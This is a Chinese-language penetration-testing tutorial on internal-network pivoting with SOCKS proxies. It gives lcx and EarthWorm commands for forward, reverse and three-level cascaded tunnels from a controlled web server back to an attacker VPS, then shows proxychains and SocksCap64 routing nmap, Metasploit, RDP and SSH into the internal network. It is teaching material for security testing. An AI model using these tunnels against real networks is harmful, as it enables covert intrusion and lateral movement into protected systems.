内网漫游之SOCKS代理大结局
字数 1893 2025-08-29 08:31:47

内网漫游之SOCKS代理技术详解

0x01 引言

SOCKS代理是内网渗透中极为重要的技术手段,相比传统的端口转发工具如nc、lcx等,SOCKS代理具有以下优势:

  1. 支持一对多端口映射,无需为每个端口单独建立转发
  2. 支持多种协议(HTTP、FTP等)
  3. 适用于更复杂的网络环境,特别是当目标服务器:
    • 处于内网但可以访问外部网络
    • 处于外网但防火墙限制了敏感端口
    • 处于内网且只开放80端口,无法直接访问外网

SOCKS分为SOCKS4和SOCKS5两种类型:

  • SOCKS4:仅支持TCP协议
  • SOCKS5:支持TCP/UDP协议,并提供多种身份验证机制

0x02 渗透环境示例

[My PC] ←→ [VPS 139.XXX.XX.113] ←→ [WEB服务器 10.48.128.25] ←→ [内网其他服务器]

假设已控制WEB服务器(10.48.128.25),该服务器是连接外网和内网的关键节点。

0x03 传统端口转发技术

使用lcx进行3389端口转发示例:

  1. 在目标机器执行:

    lcx.exe -slave 139.XXX.XX.113 9000 10.48.128.25 3389
    

    将目标机器3389端口数据转发到VPS的9000端口

  2. 在VPS执行:

    lcx.exe -listen 9000 5555
    

    将VPS 9000端口数据转发到5555端口

  3. 通过mstsc连接VPS:5555即可访问内网3389端口

缺点:每个端口需要单独建立转发,效率低下。

0x04 SOCKS代理工具推荐

  1. EarthWorm (EW)

    • 支持SOCKS v5服务架设和端口转发
    • 支持正向、反向、多级级联
    • 跨平台(Linux/Windows/MacOS/Arm-Linux)
    • 体积小(30-56KB),无需依赖
    • 最新版为Termite
  2. reGeorg

    • 通过HTTP/HTTPS隧道转发内网端口
    • 利用webshell建立SOCKS代理
    • 需要服务器支持aspx/php/jsp
  3. sSocks

    • 支持SOCKS5验证
    • 支持IPv6和UDP
    • 提供反向SOCKS代理
  4. SocksCap64 (Windows)

    • 全局代理软件
    • 使不支持SOCKS的应用程序也能通过代理
  5. proxychains (Linux)

    • Linux下全局代理工具
    • 支持HTTP/SOCKS4/SOCKS5
    • 支持多代理链

0x05 EarthWorm架设代理详解

EW有6种命令格式:

  • ssocksd - 正向SOCKS服务器
  • rcsocks - 反向SOCKS监听端
  • rssocks - 反向SOCKS服务端
  • lcx_slave - 端口转发从端
  • lcx_listen - 端口转发监听端
  • lcx_tran - 端口转发传输端

1. 正向SOCKS v5服务器

适用条件:目标机器有公网IP

ew -s ssocksd -l 888

在目标机器888端口架设SOCKS5代理

2. 反弹SOCKS v5服务器

适用条件:目标机器无公网IP但可访问外网

VPS上执行

ew -s rcsocks -l 1008 -e 888

在VPS上添加转接隧道,将1008端口请求转给888端口

目标机器执行

ew -s rssocks -d 139.XXX.XX.113 -e 888

在目标机器启动SOCKS5服务并反弹到VPS的888端口

3. 二级网络环境(一)

拓扑:

[My PC] ←→ [VPS] ←→ [A主机] ←→ [B主机(内网)]

B主机执行

ew -s ssocksd -l 888

在B主机888端口架设SOCKS代理

A主机执行

ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888

将A主机1080端口请求转发到B主机的888端口

4. 二级网络环境(二)

拓扑:

[My PC] ←→ [VPS] ←→ [A主机] ←→ [B主机(内网)]

VPS执行

ew -s lcx_listen -l 10800 -e 888

B主机执行

ew -s ssocksd -l 999

A主机执行

ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.49 -g 999

5. 三级网络环境

拓扑:

[My PC] ←→ [VPS] ←→ [A主机] ←→ [B主机] ←→ [C主机(核心区)]

VPS执行

ew -s rcsocks -l 1080 -e 888

A主机执行

ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999

B主机执行

ew -s lcx_listen -l 999 -e 777

C主机执行

ew -s rssocks -d 10.48.128.12 -e 777

数据流:SOCKS V5 → 1080 → 888 → 999 → 777 → rssocks

0x06 内网漫游实践

Windows下使用SocksCap64

  1. 安装并管理员权限运行SocksCap64
  2. 添加代理服务器(IP和端口)
  3. 测试连接
  4. 右键程序选择"在代理隧道中运行"

可代理的程序:

  • 浏览器访问内网Web(如10.48.128.22:80)
  • mstsc连接内网RDP(10.48.128.20:3389)
  • Putty连接SSH(10.48.128.49:22)
  • VNC客户端连接(10.48.128.25:5900)

Linux下使用proxychains

  1. 编辑配置文件:
    vi /etc/proxychains.conf
    
  2. 取消dynamic_chain注释
  3. 修改代理设置为SOCKS5 VPSIP 端口
  4. 测试代理:
    cp /usr/lib/proxychains3/proxyresolv /usr/bin/
    proxyresolv www.baidu.com
    
  5. 使用代理运行程序:
    • proxychains firefox - 代理浏览器
    • proxychains nmap - 代理扫描
    • proxychains msfconsole - 代理Metasploit

总结

SOCKS代理是内网渗透中极为高效的技术手段,特别是EarthWorm工具因其小巧、跨平台、功能强大而成为首选。掌握正向、反向及多级代理的配置方法,配合SocksCap64或proxychains等客户端工具,可以高效地进行内网漫游和渗透测试。

内网漫游之SOCKS代理技术详解 0x01 引言 SOCKS代理是内网渗透中极为重要的技术手段,相比传统的端口转发工具如nc、lcx等,SOCKS代理具有以下优势: 支持一对多端口映射,无需为每个端口单独建立转发 支持多种协议(HTTP、FTP等) 适用于更复杂的网络环境,特别是当目标服务器: 处于内网但可以访问外部网络 处于外网但防火墙限制了敏感端口 处于内网且只开放80端口,无法直接访问外网 SOCKS分为SOCKS4和SOCKS5两种类型: SOCKS4:仅支持TCP协议 SOCKS5:支持TCP/UDP协议,并提供多种身份验证机制 0x02 渗透环境示例 假设已控制WEB服务器(10.48.128.25),该服务器是连接外网和内网的关键节点。 0x03 传统端口转发技术 使用lcx进行3389端口转发示例: 在目标机器执行: 将目标机器3389端口数据转发到VPS的9000端口 在VPS执行: 将VPS 9000端口数据转发到5555端口 通过mstsc连接VPS:5555即可访问内网3389端口 缺点:每个端口需要单独建立转发,效率低下。 0x04 SOCKS代理工具推荐 EarthWorm (EW) 支持SOCKS v5服务架设和端口转发 支持正向、反向、多级级联 跨平台(Linux/Windows/MacOS/Arm-Linux) 体积小(30-56KB),无需依赖 最新版为Termite reGeorg 通过HTTP/HTTPS隧道转发内网端口 利用webshell建立SOCKS代理 需要服务器支持aspx/php/jsp sSocks 支持SOCKS5验证 支持IPv6和UDP 提供反向SOCKS代理 SocksCap64 (Windows) 全局代理软件 使不支持SOCKS的应用程序也能通过代理 proxychains (Linux) Linux下全局代理工具 支持HTTP/SOCKS4/SOCKS5 支持多代理链 0x05 EarthWorm架设代理详解 EW有6种命令格式: ssocksd - 正向SOCKS服务器 rcsocks - 反向SOCKS监听端 rssocks - 反向SOCKS服务端 lcx_slave - 端口转发从端 lcx_listen - 端口转发监听端 lcx_tran - 端口转发传输端 1. 正向SOCKS v5服务器 适用条件:目标机器有公网IP 在目标机器888端口架设SOCKS5代理 2. 反弹SOCKS v5服务器 适用条件:目标机器无公网IP但可访问外网 VPS上执行 : 在VPS上添加转接隧道,将1008端口请求转给888端口 目标机器执行 : 在目标机器启动SOCKS5服务并反弹到VPS的888端口 3. 二级网络环境(一) 拓扑: B主机执行 : 在B主机888端口架设SOCKS代理 A主机执行 : 将A主机1080端口请求转发到B主机的888端口 4. 二级网络环境(二) 拓扑: VPS执行 : B主机执行 : A主机执行 : 5. 三级网络环境 拓扑: VPS执行 : A主机执行 : B主机执行 : C主机执行 : 数据流:SOCKS V5 → 1080 → 888 → 999 → 777 → rssocks 0x06 内网漫游实践 Windows下使用SocksCap64 安装并管理员权限运行SocksCap64 添加代理服务器(IP和端口) 测试连接 右键程序选择"在代理隧道中运行" 可代理的程序: 浏览器访问内网Web(如10.48.128.22:80) mstsc连接内网RDP(10.48.128.20:3389) Putty连接SSH(10.48.128.49:22) VNC客户端连接(10.48.128.25:5900) Linux下使用proxychains 编辑配置文件: 取消 dynamic_chain 注释 修改代理设置为SOCKS5 VPSIP 端口 测试代理: 使用代理运行程序: proxychains firefox - 代理浏览器 proxychains nmap - 代理扫描 proxychains msfconsole - 代理Metasploit 总结 SOCKS代理是内网渗透中极为高效的技术手段,特别是EarthWorm工具因其小巧、跨平台、功能强大而成为首选。掌握正向、反向及多级代理的配置方法,配合SocksCap64或proxychains等客户端工具,可以高效地进行内网漫游和渗透测试。